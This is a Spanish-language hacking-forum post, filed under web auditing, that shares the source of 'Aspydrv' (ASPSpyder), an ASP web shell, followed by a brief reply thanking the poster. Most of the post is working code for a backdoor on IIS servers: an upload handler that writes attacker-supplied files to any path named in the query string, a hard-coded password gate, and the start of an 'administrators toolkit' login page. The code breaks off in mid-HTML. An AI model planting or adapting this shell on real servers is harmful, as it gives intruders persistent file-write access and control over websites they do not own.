Aspydrv ( asp shell )

Código: Seleccionar todo

<%
Function BufferContent(data)
    Dim strContent(64)
    Dim i
    ClearString strContent
    For i = 1 To LenB(data)
        AddString strContent,Chr(AscB(MidB(data,i,1)))
    Next
    BufferContent = fnReadString(strContent)
End Function

Sub ClearString(part)
    Dim index
    For index = 0 to 64
        part(index)=""
    Next
End Sub

Sub AddString(part,newString)
    Dim tmp
    Dim index
    part(0) = part(0) & newString
    If Len(part(0)) > 64 Then
        index=0
        tmp=""
        Do
            tmp=part(index) & tmp
            part(index) = ""
            index = index + 1
        Loop until part(index) = ""
        part(index) = tmp
    End If
End Sub

Function fnReadString(part)
    Dim tmp
    Dim index
    tmp = ""
    For index = 0 to 64
        If part(index) <> "" Then
            tmp = part(index) & tmp
        End If
    Next
    FnReadString = tmp
End Function


Class FileUploader
    Public  Files
    Private mcolFormElem
    Private Sub Class_Initialize()
        Set Files = Server.CreateObject("Scripting.Dictionary")
        Set mcolFormElem = Server.CreateObject

("Scripting.Dictionary")
    End Sub

    Private Sub Class_Terminate()
        If IsObject(Files) Then
            Files.RemoveAll()
            Set Files = Nothing
        End If
        If IsObject(mcolFormElem) Then
            mcolFormElem.RemoveAll()
            Set mcolFormElem = Nothing
        End If
    End Sub

    Public Property Get Form(sIndex)
        Form = ""
        If mcolFormElem.Exists(LCase(sIndex)) Then Form = 

mcolFormElem.Item(LCase(sIndex))
    End Property

    Public Default Sub Upload()
        Dim biData, sInputName
        Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
        Dim nPosFile, nPosBound
        biData = Request.BinaryRead(Request.TotalBytes)
        nPosBegin = 1
        nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
        If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
        vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
        nDataBoundPos = InstrB(1, biData, vDataBounds)
        Do Until nDataBoundPos = InstrB(biData, vDataBounds & 

CByteString("--"))
            nPos = InstrB(nDataBoundPos, biData, CByteString

("Content-Disposition"))
            nPos = InstrB(nPos, biData, CByteString("name="))
            nPosBegin = nPos + 6
            nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr

(34)))
            sInputName = CWideString(MidB(biData, nPosBegin, 

nPosEnd-nPosBegin))
            nPosFile = InstrB(nDataBoundPos, biData, 

CByteString("filename="))
            nPosBound = InstrB(nPosEnd, biData, vDataBounds)
            If nPosFile <> 0 And  nPosFile < nPosBound Then
                Dim oUploadFile, sFileName
                Set oUploadFile = New UploadedFile
                nPosBegin = nPosFile + 10
                nPosEnd =  InstrB(nPosBegin, biData, 

CByteString(Chr(34)))
                sFileName = CWideString(MidB(biData, 

nPosBegin, nPosEnd-nPosBegin))
                oUploadFile.FileName = Right(sFileName, Len

(sFileName)-InStrRev(sFileName, "\"))
                nPos = InstrB(nPosEnd, biData, CByteString

("Content-Type:"))
                nPosBegin = nPos + 14
                nPosEnd = InstrB(nPosBegin, biData, 

CByteString(Chr(13)))
                oUploadFile.ContentType = CWideString(MidB

(biData, nPosBegin, nPosEnd-nPosBegin))
                nPosBegin = nPosEnd+4
                nPosEnd = InstrB(nPosBegin, biData, 

vDataBounds) - 2
                oUploadFile.FileData = MidB(biData, 

nPosBegin, nPosEnd-nPosBegin)
                If oUploadFile.FileSize > 0 Then Files.Add 

LCase(sInputName), oUploadFile
            Else
                nPos = InstrB(nPos, biData, CByteString(Chr

(13)))
                nPosBegin = nPos + 4
                nPosEnd = InstrB(nPosBegin, biData, 

vDataBounds) - 2
                If Not mcolFormElem.Exists(LCase

(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB

(biData, nPosBegin, nPosEnd-nPosBegin))
            End If
            nDataBoundPos = InstrB(nDataBoundPos + LenB

(vDataBounds), biData, vDataBounds)
        Loop
    End Sub

    'String to byte string conversion
    Private Function CByteString(sString)
        Dim nIndex
        For nIndex = 1 to Len(sString)
           CByteString = CByteString & ChrB(AscB(Mid

(sString,nIndex,1)))
        Next
    End Function

    'Byte string to string conversion
    Private Function CWideString(bsString)
        Dim nIndex
        CWideString =""
        For nIndex = 1 to LenB(bsString)
           CWideString = CWideString & Chr(AscB(MidB

(bsString,nIndex,1))) 
        Next
    End Function
End Class


Class UploadedFile
    Public ContentType
    Public FileName
    Public FileData
    Public Property Get FileSize()
        FileSize = LenB(FileData)
    End Property

    Public Sub SaveToDisk(sPath)
        Dim oFS, oFile
        Dim nIndex
        If sPath = "" Or FileName = "" Then Exit Sub
        If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
        Set oFS = Server.CreateObject("Scripting.FileSystemObject")
        If Not oFS.FolderExists(sPath) Then Exit Sub
        Set oFile = oFS.CreateTextFile(sPath & FileName, True)
        ' output mechanism modified for buffering
        oFile.Write BufferContent(FileData)
        oFile.Close
    End Sub

    Public Sub SaveToDatabase(ByRef oField)
        If LenB(FileData) = 0 Then Exit Sub
        If IsObject(oField) Then
            oField.AppendChunk FileData
        End If
    End Sub
End Class

' Create the FileUploader
IF REQUEST.QueryString("upload")="@" THEN
Dim Uploader, File
Set Uploader = New FileUploader

' This starts the upload process
Uploader.Upload()

%>
<html><title>ASPYDrvsInfo</title>
<style>
<!--
A:link {font-style: text-decoration: none; color: #c8c8c8}
A:visited {font-style: text-decoration: none; color: #777777}
A:active {font-style: text-decoration: none; color: #ff8300}
A:hover {font-style: text-decoration: cursor: hand; color: #ff8300}
*        {scrollbar-base-color:#777777;
scrollbar-track-color:#777777;scrollbar-darkshadow-color:#777777;scrollbar-

face-color:#505050;
scrollbar-arrow-color:#ff8300;scrollbar-shadow-color:#303030;scrollbar-

highlight-color:#303030;}
input,select,table {font-family:verdana,arial;font-size:11px;text-

decoration:none;border:1px solid #000000;}
//-->
</style>
<body bgcolor=black text=white>
<BR><BR><BR>
<center><table bgcolor="#505050" cellpadding=4>
<tr><td><Font face=arial size=-1>File upload Information:</font>
</td></tr><tr><td bgcolor=black ><table>
<%

' Check if any files were uploaded
If Uploader.Files.Count = 0 Then
    Response.Write "File(s) not uploaded."
Else
    ' Loop through the uploaded files
    For Each File In Uploader.Files.Items
        File.SaveToDisk Request.QueryString("txtpath")
        Response.Write "<TR><TD>&nbsp;</TD></TR><tr><td><font 

color=gray>File Uploaded: </font></td><td>" & File.FileName & "</td></tr>"
        Response.Write "<tr><td><font color=gray>Size: 

</font></td><td>" & Int(File.FileSize/1024)+1 & " kb</td></tr>"
        Response.Write "<tr><td><font color=gray>Type: 

</font></td><td>" & File.ContentType & "</td></tr>"
    Next
End If
%>
<TR><TD>&nbsp;</TD></TR></table>
</td></tr></table><BR><a href="<%=Request.Servervariables("SCRIPT_NAME")%>?

txtpath=<%=Request.QueryString("txtpath")%>"><font face="webdings" title=" 

BACK " size=+2 >7</font></a></center>
<%
response.End() '---- XXX
END IF
'--------
ON ERROR RESUME NEXT
Response.Buffer = True
password = "lol" ' <---Your password here

If request.querystring("logoff")="@" then
    session("shagman")=""    ' Logged off
    session("dbcon")=""        ' Database Connection
    session("txtpath")=""    ' any pathinfo
end if

    If (session("shagman")<>password) and Request.form("code")="" Then
        %>
<body bgcolor=black><center><BR><BR><BR><BR><FONT face=arial size=-2 

color=#ff8300>ADMINSTRATORS TOOLKIT</FONT><BR><BR><BR>
<table><tr><td>
<FORM method="post" action="<%=Request.Servervariables("SCRIPT_NAME")%>" >
<table bgcolor=#505050 width="20%" cellpadding=20 ><tr><td bgcolor=#303030 

align=center >
<INPUT type=password name=code ></td><td><INPUT name=submit type=submit 

value=" Access ">
</td></tr></table>
</td></tr><tr><td align=right>
<font color=white size=-2 face=arial >ASPSpyder Apr2003
Imagen

(cuanto más sabes, más cuenta te das de lo poco que sabes).

Mostrar/Ocultar

Ya la tenia en mi local_db pero nunca e leido con atencion el source! Gracias por recordar muchbukana
PD: usar el syntax esta mas coqueto para poner los codigos!
1337 & culture!
Responder

Volver a “Auditoria Web”